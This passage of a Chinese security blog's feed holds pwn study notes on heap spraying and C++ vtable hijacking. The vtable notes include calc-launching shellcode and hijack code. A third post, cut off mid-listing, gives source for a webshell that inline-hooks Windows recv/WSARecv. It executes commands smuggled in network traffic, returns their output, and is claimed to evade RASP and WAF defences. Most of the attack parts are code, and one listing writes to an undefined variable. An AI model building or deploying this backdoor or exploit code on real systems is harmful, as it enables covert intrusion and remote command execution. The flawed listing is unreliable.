class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行程序</p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/1.png" alt="1"></p><p>代码里直接把 vptr 已经修改成 <code>0x0C0C0C0C</code> ，模拟虚函数表劫持。</p><p><code>bp 0x0c0c0c0c</code> 打上断点，继续。</p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/2.png" alt="2"></p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/3.png" alt="3"></p><p>这里模拟了堆喷的过程，申请到的 <code>0x0C0C0C0C</code> 在 <code>chunk\[158\]</code> 里。</p><blockquote><p>可以看到在向堆申请空间时，地址是从小到大的，有一定随机性，且有概率申请不到 <code>0x0C0C0C0C</code> ，这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。</p></blockquote><p><img src="/2021/07/07/realpwn-heap-spary-exercise/4.png" alt="4"></p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/5.png" alt="5"></p><p>现在已经 slides 和 shellcode 都写上去了。</p><p>继续，就到调用虚函数了，顺利的话就会弹出计算器。</p><blockquote><p>注意，<code>malloc</code> 的内存默认只有 RW 权限，同 <a href="https://jayl1n.github.io/2021/07/04/realpwn-vtable-hijacking-exercise/">【RealPwn-1】 虚函数表劫持练习</a> 一样，需要暂时关闭 DEP 才能执行 shellcode，实际场景中需要构造 ROP 链。</p></blockquote><p><img src="/2021/07/07/realpwn-heap-spary-exercise/heap-spary.gif" alt="6"></p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><ul><li><a href="https://v1ckydxp.github.io/2019/07/22/2019-07-22-%E5%A0%86%E5%96%B7%E5%B0%84&amp;%E5%A0%86%E9%A3%8E%E6%B0%B4/" target="_blank" rel="noopener">Heap Spray（堆喷射）简介</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;[RealPwn] 系列是我学习 pwn 的笔记，只记录真实场景中常用到的漏洞利用技术。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&quot;堆喷&quot;&gt;&lt;a href=&quot;#堆喷&quot; class=&quot;headerlink&quot; title=&quot;堆喷&quot;&gt;&lt;/a&gt;堆
      
    
    </summary>
    
    
    
      <category term="Pwn" scheme="https://jayl1n.github.io/tags/Pwn/"/>
    
      <category term="二进制" scheme="https://jayl1n.github.io/tags/%E4%BA%8C%E8%BF%9B%E5%88%B6/"/>
    
  </entry>
  
  <entry>
    <title>【RealPwn-1】 虚函数表劫持练习</title>
    <link href="https://jayl1n.github.io/2021/07/04/realpwn-vtable-hijacking-exercise/"/>
    <id>https://jayl1n.github.io/2021/07/04/realpwn-vtable-hijacking-exercise/</id>
    <published>2021-07-04T02:54:28.000Z</published>
    <updated>2023-08-16T15:16:43.296Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[RealPwn] 系列是我学习 pwn 的笔记，只记录真实场景中常用到的漏洞利用技术。</p></blockquote><h1 id="虚函数表"><a href="#虚函数表" class="headerlink" title="虚函数表"></a>虚函数表</h1><p>C++ 里，为了实现 “多态” ，使用了虚函数表 (vtable)。</p><p>每个含有虚函数的类的对象，在内存的起始处有一个 vptr 的指针，指向虚函数表。</p><p>虚函数表存了类里所有虚函数的指针。调用函数时，在这个虚函数表里查找实际要调用的函数。</p><p>借用网上的一张图</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/vft.png" alt="vft.png"></p><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><p>总结下虚函数表的特性：</p><ol><li><p>虚函数表在 <code>.data</code> 段，仅可读，无法修改</p></li><li><p>虚函数表类似一个数组，每个有虚函数的类的对象实例都存储指向虚函数表的指针。</p></li><li><p>虚函数表指针 vptr 一般在对象起始的 4 字节（32 位） 或 8 字节（64 位），多重继承时有可能存在多个虚函数表，</p></li></ol><h1 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h1><p>下面调试一下，环境 VS2019 + x32dbg：</p><p>代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;iostream&gt;</span><br><span class="line">#include &lt;Windows.h&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">class A &#123;</span><br><span class="line">public :</span><br><span class="line">virtual int hijackme() &#123;</span><br><span class="line">return 1;</span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">int main() &#123;</span><br><span class="line">char msg[128];</span><br><span class="line"></span><br><span class="line">A* a = new A;</span><br><span class="line">long* a_addr = (long*) a;</span><br><span class="line">long* vptr = (long*) ( *a_addr);</span><br><span class="line"></span><br><span class="line">sprintf(msg, &quot;object a address: 0x%p&quot;, a_addr);</span><br><span class="line">cout &lt;&lt; msg &lt;&lt; endl;</span><br><span class="line">sprintf(msg, &quot;vtable address: 0x%p&quot;, vptr[0]);</span><br><span class="line">cout &lt;&lt; msg &lt;&lt; endl;</span><br><span class="line"></span><br><span class="line">system(&quot;pause&quot;);</span><br><span class="line">return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702163648268.png" alt="image-20210702163648268"></p><p>x32dbg 里看内存</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702163707394.png" alt="image-20210702163707394"></p><p><code>0x014FD028</code> 是 vptr ，指向虚函数表。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702163900420.png" alt="image-20210702163900420"></p><p><code>0xB131EC</code> 是虚函数表，所在内存是只读的无法修改，它指向的是函数实际的地址，无法修改虚表中函数的地址。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702164047943.png" alt="image-20210702164047943"></p><p>对象是在堆上的，它的内存是 <code>RW</code> 可读可写的，常见的攻击思路是修改对象的虚函数表指针 vptr ，即 <code>0x014FD028</code> 中的数据。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702164627019.png" alt="image-20210702164627019"></p><p>试验一下。</p><p>要在内存中伪造出一个虚表，将对象的虚表指针指向它。</p><p>修改代码</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> &#123;</span></span><br><span class="line"><span class="keyword">public</span> :</span><br><span class="line"><span class="function"><span class="keyword">virtual</span> <span class="keyword">int</span> <span class="title">hijackme</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 弹计算器</span></span><br><span class="line"><span class="keyword">char</span> shellcode[<span class="number">0x1000</span>] = <span class="string">"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"</span></span><br><span class="line"><span class="string">"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"</span></span><br><span class="line"><span class="string">"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"</span></span><br><span class="line"><span class="string">"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"</span></span><br><span class="line"><span class="string">"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"</span></span><br><span class="line"><span class="string">"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"</span></span><br><span class="line"><span class="string">"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"</span></span><br><span class="line"><span class="string">"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"</span></span><br><span class="line"><span class="string">"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"</span></span><br><span class="line"><span class="string">"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"</span></span><br><span class="line"><span class="string">"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"</span></span><br><span class="line"><span class="string">"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"</span></span><br><span class="line"><span class="string">"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">char</span> msg[<span class="number">128</span>];</span><br><span class="line"></span><br><span class="line">A* a = <span class="keyword">new</span> A;</span><br><span class="line"><span class="keyword">long</span>* a_addr = (<span class="keyword">long</span>*) a;</span><br><span class="line"><span class="keyword">long</span>* vptr = (<span class="keyword">long</span>*) ( *a_addr );</span><br><span class="line"></span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"object a address: 0x%p"</span>, a_addr);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"vtable address: 0x%p"</span>, vptr[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> fake_vtable[<span class="number">4</span>]; <span class="comment">//伪造一个虚表</span></span><br><span class="line"><span class="keyword">long</span> shellcode_addr = (<span class="keyword">long</span>)((<span class="keyword">long</span>*) (shellcode));</span><br><span class="line"><span class="built_in">memcpy</span>(fake_vtable, &amp;shellcode_addr ,<span class="number">4</span>); <span class="comment">//虚表指向shellcode</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"fake_vtable address: 0x%p"</span>, &amp;fake_vtable);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"shellcode address: 0x%p"</span>, (<span class="keyword">long</span>*) shellcode);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">long</span> fake_vtable_addr = (<span class="keyword">long</span>) ( (<span class="keyword">long</span>*) fake_vtable );</span><br><span class="line"><span class="built_in">memcpy</span>(tmp, &amp;fake_vtable_addr, <span class="number">4</span>); <span class="comment">// 修改对象虚表指针，指向伪造的虚表</span></span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line">a-&gt;hijackme();</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重新执行</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702175254591.png" alt="image-20210702175254591"></p><p>在 <code>0x00DCFE44</code> 处构造一个虚表，只要一个项，指向 <code>0x00535020</code> 。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702174543785.png" alt="image-20210702174543785"></p><p><code>0x00535020</code> 是 shellcode</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702174636492.png" alt="image-20210702174636492"></p><p>这里涉及到一个问题，shellcode 是在 <code>.data</code> 段不可执行的，一般来说需要构造 ROP 链，给 shellcode 所在内存加上执行权限。这里略过这个问题，暂时先关掉 DEP（属性 —&gt; 链接器 —&gt; 高级）。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702173559882.png" alt="image-20210702173559882"></p><p>应该就可以执行 shellcode 了。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/vtable-hijacking.gif" alt="vtable-hijacking"></p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><p><a href="http://pwn4.fun/2016/11/20/C-%E8%99%9A%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8%E6%94%BB%E9%98%B2%E6%88%98/" target="_blank" rel="noopener">C++虚函数调用攻防战</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;[RealPwn] 系列是我学习 pwn 的笔记，只记录真实场景中常用到的漏洞利用技术。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&quot;虚函数表&quot;&gt;&lt;a href=&quot;#虚函数表&quot; class=&quot;headerlink&quot; title=&quot;虚函数表&quot;
      
    
    </summary>
    
    
    
      <category term="Pwn" scheme="https://jayl1n.github.io/tags/Pwn/"/>
    
      <category term="二进制" scheme="https://jayl1n.github.io/tags/%E4%BA%8C%E8%BF%9B%E5%88%B6/"/>
    
  </entry>
  
  <entry>
    <title>利用 Hook 技术打造通用的 Webshell</title>
    <link href="https://jayl1n.github.io/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/"/>
    <id>https://jayl1n.github.io/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/</id>
    <published>2021-07-01T12:08:53.000Z</published>
    <updated>2023-08-16T15:16:43.317Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>本文首发 <a href="https://xz.aliyun.com/t/9774" target="_blank" rel="noopener">https://xz.aliyun.com/t/9774</a></p></blockquote><blockquote><p>标题中的 “通用” 指跨语言，本文的实现是基于 Windows 的，需要 Linux 的可以参考本文的思路，实现起来并没有太大区别。</p></blockquote><h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p>Windows 上程序涉及网络 socket 操作，一般都会用到 winsock2 的库，程序会动态链接 <code>ws2_32.dll</code> ，JVM，Python，Zend 等解释器都不例外。</p><p>winsock2 里 socket 操作相关的函数 <code>recv</code> <code>send</code> <code>closesocket</code> 会编程的应该都不陌生。<strong>hook 掉 <code>recv</code> 函数就可以在程序处理接受到网络数据前，进入我们的处理逻辑早一步收到数据。</strong></p><p>由于实现是 native 的，所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。</p><h1 id="Inline-Hook"><a href="#Inline-Hook" class="headerlink" title="Inline Hook"></a>Inline Hook</h1><p>Inline Hook 是在程序运行时直接修改指令，插入跳转指令（jmp/call/retn）来控制程序执行流的一种技术。相比别的 Hook 技术，Inline Hook 优点是能跨平台，稳定，本文是以此技术实现的。</p><h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><p>具体实现分为两个部分，一个是hook函数的 DLL(只讲这个)；另一个是向进程注入 DLL 的辅助工具(网上的文章很多，需要的见完整源码)。</p><h2 id="InstallHook"><a href="#InstallHook" class="headerlink" title="InstallHook"></a>InstallHook</h2><p>安装钩子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> START_BLOCK <span class="meta-string">"#CMD0#"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> END_BLOCK <span class="meta-string">"#CMD1#"</span></span></span><br><span class="line"></span><br><span class="line">DWORD dwInstSize = <span class="number">12</span>;</span><br><span class="line">BYTE RecvEntryPointInst[<span class="number">12</span>] = &#123; <span class="number">0x00</span> &#125;;</span><br><span class="line">BYTE RecvEntryPointInstHook[<span class="number">12</span>] = &#123; <span class="number">0x48</span>, <span class="number">0xB8</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0xFF</span>, <span class="number">0xE0</span> &#125;;</span><br><span class="line">BYTE WSARecvEntryPointInst[<span class="number">12</span>] = &#123; <span class="number">0x00</span> &#125;;</span><br><span class="line">BYTE WSARecvEntryPointInstHook[<span class="number">12</span>] = &#123; <span class="number">0x48</span>, <span class="number">0xB8</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0xFF</span>, <span class="number">0xE0</span> &#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNRecv )</span><span class="params">( SOCKET, <span class="keyword">char</span>*, <span class="keyword">int</span>, <span class="keyword">int</span> )</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNSend )</span><span class="params">( SOCKET, <span class="keyword">char</span>*, <span class="keyword">int</span>, <span class="keyword">int</span> )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNWSARecv )</span> <span class="params">( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE )</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNWSASend )</span> <span class="params">( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">InstallHook</span><span class="params">(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction)</span> </span>&#123;</span><br><span class="line">DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);</span><br><span class="line">DWORD OldProtect = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &amp;OldProtect))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"recv"</span>)) &#123;</span><br><span class="line"><span class="built_in">memcpy</span>(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);</span><br><span class="line">*(PINT64) ( RecvEntryPointInstHook + <span class="number">2</span> ) = (UINT64) lpFunction;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"WSARecv"</span>)) &#123;</span><br><span class="line"><span class="built_in">memcpy</span>(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);</span><br><span class="line">*(PINT64) ( WSARecvEntryPointInstHook + <span class="number">2</span> ) = (UINT64) lpFunction;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"recv"</span>)) </span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, &amp;RecvEntryPointInstHook, <span class="keyword">sizeof</span>(RecvEntryPointInstHook));</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName,<span class="string">"WSARecv"</span>))</span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, &amp;WSARecvEntryPointInstHook, <span class="keyword">sizeof</span>(WSARecvEntryPointInstHook));</span><br><span class="line"></span><br><span class="line">VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &amp;OldProtect);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="UninstallHook"><a href="#UninstallHook" class="headerlink" title="UninstallHook"></a>UninstallHook</h2><p>卸载钩子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">UninstallHook</span><span class="params">(LPCWSTR lpModule, LPCSTR lpFuncName)</span> </span>&#123;</span><br><span class="line">UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);</span><br><span class="line">DWORD OldProtect = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &amp;OldProtect))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"recv"</span>)) </span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, RecvEntryPointInst, <span class="keyword">sizeof</span>(RecvEntryPointInst));</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName,<span class="string">"WSARecv"</span>))</span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, WSARecvEntryPointInst, <span class="keyword">sizeof</span>(WSARecvEntryPointInst));</span><br><span class="line">&#125;</span><br><span class="line">VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &amp;OldProtect);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="HookRecv"><a href="#HookRecv" class="headerlink" title="HookRecv"></a>HookRecv</h2><p>hook recv 的函数，程序在执行 recv 时，会先进入这个函数。</p><p>在这个函数里，调用原来的 recv 获取数据，判断是否有<code>START_BLOCK</code>、<code>END_BLOCK</code>块，有的话就取出块之间的命令，执行。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> WINAPI <span class="title">HookRecv</span><span class="params">(SOCKET s, <span class="keyword">char</span>* buf, <span class="keyword">int</span> len, <span class="keyword">int</span> flags)</span> </span>&#123;</span><br><span class="line">UninstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"recv"</span>);</span><br><span class="line"></span><br><span class="line">PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"recv"</span>);</span><br><span class="line">PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"send"</span>);</span><br><span class="line">PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"closesocket"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> rc = pfnRecv(s, buf, len, flags);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span>* startBlock = <span class="built_in">strstr</span>(buf, START_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(startBlock) &#123;</span><br><span class="line"><span class="keyword">char</span>* endBlock = <span class="built_in">strstr</span>(startBlock, END_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(endBlock) &#123;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> start_block = <span class="built_in">std</span>::<span class="built_in">string</span>(startBlock);</span><br><span class="line"><span class="keyword">int</span> endOffset = start_block.find(END_BLOCK, <span class="keyword">sizeof</span>(START_BLOCK));</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> cmd = start_block.substr(<span class="keyword">sizeof</span>(START_BLOCK) - <span class="number">1</span>, start_block.size() - <span class="keyword">sizeof</span>(START_BLOCK) - ( start_block.size() - endOffset ) + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> output = WSTR2STR(ExecuteCmd(cmd));</span><br><span class="line"></span><br><span class="line">pfnSend(s, (<span class="keyword">char</span>*) output.c_str(), output.size(), <span class="number">0</span>);</span><br><span class="line">         pfnClosesocket(s);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"recv"</span>, (LPVOID) HookRecv);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span>  rc;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> WINAPI <span class="title">HookWSARecv</span><span class="params">(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">UninstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"WSARecv"</span>);</span><br><span class="line"></span><br><span class="line">PFNWSARecv pfnWSARecv = (PFNWSARecv) 